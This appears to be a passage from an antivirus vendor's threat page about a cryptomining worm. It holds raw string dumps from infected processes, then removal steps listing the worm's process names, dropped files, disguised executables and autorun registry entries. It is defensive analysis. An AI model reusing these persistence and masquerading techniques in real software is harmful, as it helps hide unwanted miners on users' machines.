unable to get certs public key
unknown key type
unsupported algorithm
OCSP_cert_id_new
OCSP_parse_url
PARSE_HTTP_LINE1
error parsing url
no certificates in chain
unsupported requestorname type
data too large for key size
AESNI_INIT_KEY
AES_INIT_KEY
CAMELLIA_INIT_KEY
D2I_PKEY
DSAPKEY2PKCS8
DSA_PKEY2PKCS8
ECDSA_PKEY2PKCS8
ECKEY_PKEY2PKCS8
EVP_CIPHER_CTX_set_key_length
EVP_PKCS82PKEY
EVP_PKCS82PKEY_BROKEN
EVP_PKEY2PKCS8_broken
EVP_PKEY_copy_parameters
EVP_PKEY_CTX_ctrl
EVP_PKEY_CTX_ctrl_str
EVP_PKEY_CTX_dup
EVP_PKEY_decrypt
EVP_PKEY_decrypt_init
EVP_PKEY_decrypt_old
EVP_PKEY_derive
EVP_PKEY_derive_init
EVP_PKEY_derive_set_peer
EVP_PKEY_encrypt
EVP_PKEY_encrypt_init
EVP_PKEY_encrypt_old
EVP_PKEY_get1_DH
EVP_PKEY_get1_DSA
EVP_PKEY_GET1_ECDSA
EVP_PKEY_get1_EC_KEY
EVP_PKEY_get1_RSA
EVP_PKEY_keygen
EVP_PKEY_keygen_init
EVP_PKEY_new
EVP_PKEY_paramgen
EVP_PKEY_paramgen_init
EVP_PKEY_sign
EVP_PKEY_sign_init
EVP_PKEY_verify
EVP_PKEY_verify_init
EVP_PKEY_verify_recover
EVP_PKEY_verify_recover_init
FIPS_CIPHER_CTX_SET_KEY_LENGTH
PKCS5_PBE_keyivgen
PKCS5_v2_PBE_keyivgen
PKCS5_V2_PBKDF2_KEYIVGEN
PKEY_SET_TYPE
aes key setup failed
bad key length
bn pubkey error
camellia key setup failed
command not supported
ctrl operation not implemented
different key types
expecting an rsa key
expecting a dh key
expecting a dsa key
expecting a ecdsa key
expecting a ec key
fips mode not supported
invalid operation
keygen failure
no key set
no operation set
operation not supported for this keytype
operaton not initialized
private key decode error
private key encode error
unsuported number of rounds
unsupported keylength
unsupported key derivation function
unsupported key size
unsupported prf
unsupported private key algorithm
unsupported salt type
ESS_ADD_SIGNING_CERT
ESS_CERT_ID_NEW_INIT
ESS_SIGNING_CERT_NEW_INIT
TS_CHECK_SIGNING_CERTS
TS_MSG_IMPRINT_set_algo
TS_REQ_set_msg_imprint
TS_RESP_CTX_set_certs
TS_RESP_CTX_set_signer_cert
TS_TST_INFO_set_msg_imprint
TS_VERIFY_CERT
ess add signing cert error
ess signing certificate error
invalid signer certificate purpose
unsupported md algorithm
unsupported version
PKCS12_add_localkeyid
PKCS12_key_gen_asc
PKCS12_key_gen_uni
PKCS12_MAKE_KEYBAG
PKCS12_MAKE_SHKEYBAG
PKCS12_newpass
PKCS12_PBE_keyivgen
PKCS8_add_keyusage
key gen error
unsupported pkcs12 mode
d2i_PKCS8PrivateKey_bio
d2i_PKCS8PrivateKey_fp
DO_PK8PKEY
DO_PK8PKEY_FP
PEM_F_PEM_WRITE_PKCS8PRIVATEKEY
PEM_PK8PKEY
PEM_READ_BIO_PRIVATEKEY
PEM_READ_PRIVATEKEY
PEM_WRITE_PRIVATEKEY
error converting private key
expecting private key blob
expecting public key blob
keyblob header parse error
keyblob too short
problems getting password
public key no rsa
read key
unsupported encryption
unsupported key components
PKEY_RSA_CTRL
PKEY_RSA_CTRL_STR
PKEY_RSA_SIGN
PKEY_RSA_VERIFY
PKEY_RSA_VERIFYRECOVER
RSA_BUILTIN_KEYGEN
RSA_check_key
RSA_generate_key
RSA_generate_key_ex
data too small for key size
digest too big for rsa key
illegal or unsupported padding mode
invalid keybits
operation not allowed in fips mode
rsa operations not supported
unsupported mask algorithm
unsupported mask parameter
unsupported signature type
WIN32_JOINER
functionality not supported
DSA_generate_key
PKEY_DSA_CTRL
PKEY_DSA_KEYGEN
keylen <= sizeof key
EVP_CIPHER_key_length(cipher) <= (int)sizeof(md_tmp)
wrong number of fields on line %ld (looking for field %d, got %d, '%s' left)
:EXTERNAL TYPE %s
ERROR: selector [%d] invalid
Unprocessed type %d
%*s%s OF %s {
%s (%s)
%s %s%lu (%s0x%lx)
ASN1 OID: %s
Field Type: %s
Basis Type: %s
..\..\openssl\openssl\crypto\pkcs12\p12_key.c
keyfunc
keylength
Verifying - %s
otherCertFormat
otherCert
CMS_OtherCertificateFormat
d.certificate
d.extendedCertificate
d.v1AttrCert
d.v2AttrCert
CMS_CertificateChoices
d.issuerAndSerialNumber
d.subjectKeyIdentifier
d.crl
certificates
keyEncryptionAlgorithm
encryptedKey
CMS_KeyTransRecipientInfo
keyAttrId
keyAttr
CMS_OtherKeyAttribute
CMS_RecipientKeyIdentifier
d.rKeyId
CMS_KeyAgreeRecipientIdentifier
CMS_RecipientEncryptedKey
CMS_OriginatorPublicKey
d.originatorKey
CMS_OriginatorIdentifierOrKey
recipientEncryptedKeys
CMS_KeyAgreeRecipientInfo
keyIdentifier
keyDerivationAlgorithm
CMS_PasswordRecipientInfo
d.ktri
d.kari
d.kekri
d.pwri
d.ori
d.signedData
d.envelopedData
d.digestedData
d.encryptedData
d.authenticatedData
d.compressedData
d.allOrFirstTier
d.receiptList
value.other
value.x509cert
value.sdsicert
value.keybag
value.shkeybag
value.safes
value.bag
-----BEGIN %s-----
-----END %s-----
MIME-Version: 1.0%s
protocol="%ssignature";
"; boundary="----%s"%s%s
This is an S/MIME signed message%s%s
------%s%s
%s------%s%s
Content-Type: %ssignature;
name="smime.p7s"%s
Content-Transfer-Encoding: base64%s
filename="smime.p7s"%s%s
%s------%s--%s%s
certs-only
filename="%s"%s
Content-Type: %smime;
smime-type=%s;
name="%s"%s
Content-Transfer-Encoding: base64%s%s
bc5a78ee-03c2-4c99-bf85-db104339eee5
ReportEventA
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
_calloc_crt
_amsg_exit
__crtSetUnhandledExceptionFilter
GetProcessWindowStation
5W0.Jl
894484484440\
~13,,:*13*
,%.%"8#"
0000000
.text
`.rdata
@.data
.ctors
@.dtors
@.rsrc
@.reloc
bAm_pP
ADVAPI32.dll
MSVCR120.dll
USER32.dll
WS2_32.dll

cheking.exe_1968_rwx_10001000_000F3000:

Operation not permitted
Inappropriate I/O control operation
Broken pipe
.PjRW
j.Yf;
9u v.VW
r%f;M
%S#[k
?#%X.y
cmd.exe
GetProcessWindowStation
MaxPolicyElementKey
pExecutionResource
udPS
operator
Visual C   CRT: Not enough memory to complete call to strerror.
*Yp3.CP 
kernel32.dll
msvcr120.i386.pdb
zcÁ
.?AUIExecutionContext@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
c:\users\"%CurrentUserName%"\appdata\roaming\microsoft\windows\cheking.exe
Assertion failed: %s, file %s, line %d
.?AVinvalid_operation@Concurrency@@
.?AVoperation_timed_out@Concurrency@@
.?AVunsupported_os@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
GetCPInfo
GetProcessHeap
PeekNamedPipe
CreatePipe
Ï]i
.text
`.data
.idata
.rsrc
@.reloc
combase.dll
advapi32.dll
mscoree.dll
- floating point support not loaded
- CRT not initialized
- Attempt to initialize the CRT more than once.
USER32.DLL
portuguese-brazilian
[%d:%d:%d:%d(%d)]
ADVAPI32.DLL

conhost.exe_1880:

.text
`.data
.rsrc
@.reloc
GDI32.dll
USER32.dll
msvcrt.dll
ntdll.dll
API-MS-Win-Core-LocalRegistry-L1-1-0.dll
KERNEL32.dll
IMM32.dll
ole32.dll
OLEAUT32.dll
PutInputInBuffer: EventsWritten != 1 (0x%x), 1 expected
Invalid message 0x%x
InitExtendedEditKeys: Unsupported version number(%d)
Console init failed with status 0x%x
CreateWindowsWindow failed with status 0x%x, gle = 0x%x
InitWindowsStuff failed with status 0x%x (gle = 0x%x)
InitSideBySide failed create an activation context. Error: %d
GetModuleFileNameW requires more than ScratchBufferSize(%d) - 1.
GetModuleFileNameW failed %d.
Invalid EventType: 0x%x
Dup handle failed for %d of %d (Status = 0x%x)
Couldn't grow input buffer, Status == 0x%x
InitializeScrollBuffer failed, Status = 0x%x
CreateWindow failed with gle = 0x%x
Opening Font file failed with error 0x%x
\ega.cpi
NtReplyWaitReceivePort failed with Status 0x%x
ConsoleOpenWaitEvent failed with Status 0x%x
NtCreatePort failed with Status 0x%x
GetCharWidth32 failed with error 0x%x
GetTextMetricsW failed with error 0x%x
GetSystemEUDCRangeW: RegOpenKeyExW(%ws) failed, error = 0x%x
RtlStringCchCopy failed with Status 0x%x
Cannot allocate 0n%d bytes
|%SWj
O.fBf;
ReCreateDbcsScreenBuffer failed. Restoring to CP=%d
Invalid Parameter: 0x%x, 0x%x, 0x%x
ConsoleKeyInfo buffer is full
Invalid screen buffer size (0x%x, 0x%x)
SetROMFontCodePage: failed to memory allocation %d bytes
FONT.NT
Failed to set font image. wc=x, sz=(%x,%x)
Failed to set font image. wc=x sz=(%x, %x).
Failed to set font image. wc=x sz=(%x,%x)
FullscreenControlSetColors failed - Status = 0x%x
FullscreenControlSetPalette failed - Status = 0x%x
WriteCharsFromInput failed 0x%x
WriteCharsFromInput failed %x
RtlStringCchCopyW failed with Status 0x%x
CreateFontCache failed with Status 0x%x
FTPh
\>.Sj
GetKeyboardLayout
MapVirtualKeyW
VkKeyScanW
GetKeyboardState
UnhookWindowsHookEx
SetWindowsHookExW
GetKeyState
ActivateKeyboardLayout
GetKeyboardLayoutNameA
GetKeyboardLayoutNameW
_amsg_exit
_acmdln
ShipAssert
NtReplyWaitReceivePort
NtCreatePort
NtEnumerateValueKey
NtQueryValueKey
NtOpenKey
NtAcceptConnectPort
NtReplyPort
SetProcessShutdownParameters
GetCPInfo
conhost.pdb
%$%a%b%V%U%c%Q%W%]%\%[%
%<%^%_%Z%T%i%f%`%P%l%g%h%d%e%Y%X%R%S%k%j%
version="5.1.0.0"
name="Microsoft.Windows.ConsoleHost"
<requestedExecutionLevel
name="Microsoft.Windows.ConsoleHost.SystemDefault"
publicKeyToken="6595b64144ccf1df"
name="Microsoft.Windows.SystemCompatible"
version="6.0.0.0"
publicKeyToken="6595b64144ccf1df"
< =$>:>@>
2%2X2
%SystemRoot%
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\TrueTypeFont
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Console\FullScreen
WindowSize
ColorTableu
ExtendedEditkeyCustom
ExtendedEditKey
Software\Microsoft\Windows\CurrentVersion
\ !:=/.<>;|&
%d/%d
cmd.exe
desktop.ini
\console.dll
%d/%d
6.1.7601.17641 (win7sp1_gdr.110623-1503)
CONHOST.EXE
Windows
Operating System
6.1.7601.17641


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    csc.exe:440
    csc.exe:2436
    networks.exe:2320
    cvtres.exe:3600
    cvtres.exe:2424
    %original file name%.exe:3884
    lcass.exe:4048
    bsvpme.exe:2744

  2. Delete the original Worm file.
  3. Delete or disinfect the following files created/modified by the Worm:

    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcr110.dll (876 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Core.dll (485 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcp110.dll (536 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\plib.dll (61 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\libeay32.dll (48 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Network.dll (847 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\minergate-cli\log\minergate.log (295 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5WebSockets.dll (102 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\minergate-cli\miners.ini (57 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.dll (2994 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CSC369A.tmp (652 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.out (396 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.out (396 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.dll (2994 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CSC15D1.tmp (652 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\system.ini (0 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\evbDA78.tmp (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\evbD681.tmp (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\evbDC5B.tmp (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RES15D2.tmp (3666 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RES369B.tmp (3666 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\t2dtg\lcass.exe (143 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\QSound\lcass.exe (1425 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\lcass.exe (1425 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\moko6mo.zip (3368 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\t2dtg\lcass.exe.tmp (2784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\sjyumtime_1529409719041.tmp (321 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabCC74.tmp (51 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7B8944BA8AD0EFDF0E01A43EF62BECD0_4D4E42909D43C82D97AF8DAB289FD6D7 (1536 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7B8944BA8AD0EFDF0E01A43EF62BECD0_4D4E42909D43C82D97AF8DAB289FD6D7 (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xlkfexlkfe.zip (417591 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 (52 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6 (1212 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs:Zone.Identifier (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarCB99.tmp (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.cmdline (236 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarE351.tmp (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarCC75.tmp (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\SynTPHelper.exe:Zone.Identifier (28 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6 (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 (1720 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\sysdsengert.xml (462 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\ulrxzh.exe:Zone.Identifier (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabE350.tmp (52 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ll0fidsk.0.cs (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\t2dtg\lcass.exe:Zone.Identifier (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\run.bat (61 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\run.bat:Zone.Identifier (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabCB98.tmp (51 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\by1kv.exe (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SystemCheck.xml (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\by1kv.bat (352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\by1kv.dll (90 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5WebSockets.dll.tmp (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\platforms\qwindows.dll.tmp (16304 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\ssleay32.dll.tmp (5128 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\libeay32.dll.tmp (17572 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe.tmp (104386 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\plib.dll.tmp (1568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Cab311E.tmp (52 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.cmdline (236 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\vccorlib110.dll.tmp (4984 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Tar311F.tmp (2712 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe:Zone.Identifier (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcp110.dll.tmp (10448 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Network.dll.tmp (14600 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Core.dll.tmp (71595 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\bsvpme.exe:Zone.Identifier (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcr110.dll.tmp (15568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\qbnea8nt.0.cs (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\cudart32_60.dll.tmp (4984 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\4zdx94zdx9.zip (917437 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "3DMonitorEx" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\lcass.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "3DMonitor" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\QSound\lcass.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "Synaptics Pointing Device Helper Update" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\SynTPHelper.exe"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "WindowsData" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs"

    [HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
    "Synaptics Pointing Device Helper" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\t2dtg\lcass.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet

x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now